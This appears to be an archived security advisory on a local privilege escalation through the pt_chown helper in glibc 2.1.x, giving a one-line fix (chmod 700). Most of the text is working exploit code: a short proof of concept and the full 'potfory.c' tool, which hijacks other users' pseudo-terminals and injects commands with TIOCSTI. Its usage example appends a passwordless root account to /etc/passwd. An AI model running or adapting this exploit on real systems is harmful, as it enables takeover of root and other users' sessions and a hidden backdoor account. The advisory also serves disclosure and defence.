COMMAND
glibc
SYSTEMS AFFECTED
glibc 2.1.x
PROBLEM
Michal Zalewski found followin that could lead to compromise such
as locally, privledges of any user (including superuser) running
programs without devpts support compiled in after glibc upgrade
(like screen, mc etc).
There's a bug in pt_chown suid helper program, supplied with
glibc 2.1.x (tested on default RH 6.0 distro). This program is
designed to allow proper allocation of pseudo-terminals for
non-suid programs in systems with glibc 2.1.x installed, but
without devpts support compiled into every program (it's enough
to have, let's say, screen which uses traditional /dev/ptyXX and
/dev/ttyXX scheme). Due to lack of security checks, pt_chown can
be easily fooled to gain full control over other user's (root as
well) pseudo-terminal, as allocated by screen, Midnight Commander,
or virtually any other program. All we need is an open descriptor
to /dev/ttyXX (in read or write mode, no matter) - while login
uses secure permissions, ttys allocated by eg. screen are 622 by
default, so we could gain write access. Then, we have to call
pt_chown in a proper way to gain ownership of this device, and
put anything we want to the input stream of process controlling
this pty using TIOCSTI ioctl()...
Automated exploit code is attached (potfory.c). Sorry for polish
comments, should be readable anyway? If not, there's 'primal'
exploit for this hole:
int main(int a,char* b[]) {
char* c="\nclear;echo huhuhu, it worked...;id;sleep 2\n";
int i=0,x=open(b[1],1); // Expect writable, allocated
// (eg. by screen) /dev/ttyXX as 1st arg
if (x<0) {
perror(b[1]);
exit(1);
}
if (!fork()) {
dup2(x,3);
execl("/usr/libexec/pt_chown","pt_chown",0);
perror("pt_chown");
exit(1);
}
sleep(1);
for (i;i<strlen(c);i++) ioctl(x,0x5412,&c[i]);
}
And the original code:
// #define LCAMTUF_JEST_GLUPI_I_STRIPNAL_LIBC_A
// release 2.0
/*
Marchew Hyperreal Industries . . . . . . . . . marchew@dione.ids.pl
Stumilowy Las Team . . . . . . . . . . . . 100milowy@wariaci.pdi.net
----------------------------[ PRESENTS ]----------------------------
D O M E K N A P O T F O R Y
glupi, ale skuteczny sploit na glibce 2.1
-----------------------[ (c) lcamtuf@ids.pl ]-----------------------
Y2K-compatible 24/05/99
TODO: w domku nie mam devptsfs'a, wiec nie ma supportu, ale zrobię,
obiecuję...
Zasada działania: wspaniały wynalazek pt. pt_chown, w który
zaopatrzone są glibce 2.1 (RedHat 6.0), pozwala przejąć kontrolę
nad ptysiami innych userów i przekazać dowolne polecenia programowi,
który na tym ptysiu wisi. Warunek: na starcie musimy mieć jakiś
dostęp do ptysia (+r albo +w), tak się składa że programy typu
screen, mc itp dają nam szansę. Oczywiście sens w używaniu tego
programiku na ptysie root'a i wysłaniu dowolnego polecenia do
jego shella.
Najprostszy przyklad użycia: odpalamy sploita na roota, czekamy aż
rut sie zaloguje i odpali cos w stylu screena i bum. Używanie na
innych useruf chyba nie ma większego sensu, poza tym jeśli screen
nie ma suida, po prostu tracilibyśmy zbyt dużo czasu na ustalenie
do kogo należy ptyś, więc sploit może nie zadziałać. W takim
przypadku dopisanie '#define NALOT_ZMASOWANY 1' i wywołanie sploita
dla roota spowoduje wysyłanie komendy na każdego ptysia, bez
sprawdzania czy to np. właśnie niesuidowy screen.
Nie spieszy się nikomu, więc /dev/tty?? są skanowane co 10 sekund.
Jeśli ktoś chce, niech sobie zmieni LAG gdzieś niżej. Program i tak
jest do zostawienia na dzień :P
Gritz: ElCa, 100milowy, lam3rz, Nises, sopel, martinez, Nergal, etc.
*/
// #define NALOT_ZMASOWANY 1
#define MASKA_PTYSIA 0622
#define LAG 10
#include <sys/time.h>
#include <sys/types.h>
#include <dirent.h>
#include <sys/fcntl.h>
#include <sys/stat.h>
#include <sys/select.h>
#include <sys/signal.h>
#include <sys/ioctl.h>
#include <unistd.h>
#include <pwd.h>
#include <string.h>
#define BOLD "\033[00;01m"
#define NORM "\033[00;00m"
#define DARK "\033[00;02m"
#define BLINK "\033[05m"
#define GREEN "\033[01;32m"
#define RED "\033[01;31m"
#define YELL "\033[01;33m"
#define BLUE "\033[00;36m"
#ifdef LCAMTUF_JEST_GLUPI_I_STRIPNAL_LIBC_A
# define stat(a,b) _xstat(_STAT_VER,a,b)
# define fstat(a,b) _fxstat(_STAT_VER,a,b)
#endif /* LCAMTUF_JEST_GLUPI_I_STRIPNAL_LIBC_A */
int gupi_uid;
char* jebum;
void zuzycie(void) {
printf(BOLD "Sposób zużycia: " BLUE "./potfory juzer 'polecenie'\n");
printf(BOLD " ...juzually: " BLUE "./potfory root 'echo \"r::0:0::/:/bin/sh\""
" >>/etc/passwd;logout'" NORM "\n\n");
exit(0);
}
int szukaj_uida(const char* login) {
struct passwd* pw;
setpwent();
while ((pw=getpwent())) if (!strcasecmp(login,pw->pw_name)) return pw->pw_uid;
printf( RED "[+] W domku nie mieszka nikt o loginie '%s'..." NORM "\n\n",login);
exit(0);
}
char* koniec="\n";
int obwachaj_ptysia(struct dirent *s) {
int i,q,z,w;
struct stat a;
if (strlen(s->d_name)!=5 || strncmp("pty",s->d_name,3)) return -1;
close((i=open(s->d_name,O_RDONLY)));
if (i>0) return -1; // Blah, unused pty...
s->d_name[0]='t'; // pty -> tty
printf(DARK "[+] Przyglądam się " YELL "%s" DARK": " BLUE,s->d_name);
stat(s->d_name,&a);
if (a.st_uid!=gupi_uid) {
printf("nie ten owner (%d).\n",a.st_uid);
return -1;
}
printf("owner dobry");
a.st_mode=a.st_mode&0666;
if (a.st_mode!=MASKA_PTYSIA) {
#ifndef ZMASOWANY_ATAK
printf(", ale chyba to pomyłka (maska: %o).\n",a.st_mode);
return -1;
#else
printf(" (zmasowany nalot)");
#endif /* ZMASOWANY_ATAK */
}
i=open(s->d_name,O_WRONLY);
if (i<0) {
printf(", ale nie mam uprawnień.\n");
return -1;
}
printf(" - " YELL "robimy swoje!\n" NORM);
if (!(q=fork())) {
dup2(i,3);
execl("/usr/libexec/pt_chown","pt_chown",0);
exit(1);
}
waitpid(q,&z,0);
fstat(i,&a);
if (a.st_uid!=getuid()) {
printf("[+] Ech, coś nie wyszło z pt_chown'em :(\n");
close(i);
return -1;
}
printf(YELL "[+] Oki, trzymamy ptysia za jaja, ślemy komendę...\n");
for (w=0;w<strlen(jebum);w++) ioctl(i,TIOCSTI,&jebum[w]);
for (w=0;w<strlen(koniec);w++) ioctl(i,TIOCSTI,&koniec[w]);
close(i);
printf("\n" GREEN "Dziękujemy za lot z Marchew Hyperreal Industries :-)" NORM "\n\n");
exit(0);
}
void robimy_burdel(void) {
struct dirent **x;
int a;
printf(BLUE "[+] Czekam na ofiare [/dev/tty??] - sprawdzam co " YELL "%d" BLUE " sekund...\n",
LAG);
if (chdir("/dev")) {
printf( RED "[+] Ki burak, nie mogę wejść do /dev...\n\n");
exit(0);
}
while (1) {
a=scandir(".",&x,obwachaj_ptysia,0);
if (a<0) {
printf( RED "[+] Buuuk, nie mogę przeskanować /dev...\n\n");
exit(0);
}
sleep(LAG);
}
}
int main(int argc,char* argv[]) {
printf(BLUE "\nMarchew Hyperreal Industries " BOLD "oraz " GREEN "Stumilowy Las Team"
BOLD " prezentują:\n");
printf( YELL BLINK "Domek Na Potfory " NORM "- gupi, ale skuteczny sploit na glibce 2.1\n");
printf( DARK "Scenariusz, wystrój wnętrz i muzyka: " BOLD "<lcamtuf@ids.pl>\n");
if (argc-3) zuzycie();
gupi_uid=szukaj_uida(argv[1]);
jebum=argv[2];
printf(BLUE "[+] UID " YELL "%d" BLUE ", polecenie do przekazania shellowi: " BOLD "%s\n",
gupi_uid,jebum);
robimy_burdel();
printf(NORM "\n");
exit(0);
}
SOLUTION
chmod 700 /usr/libexec/pt_chown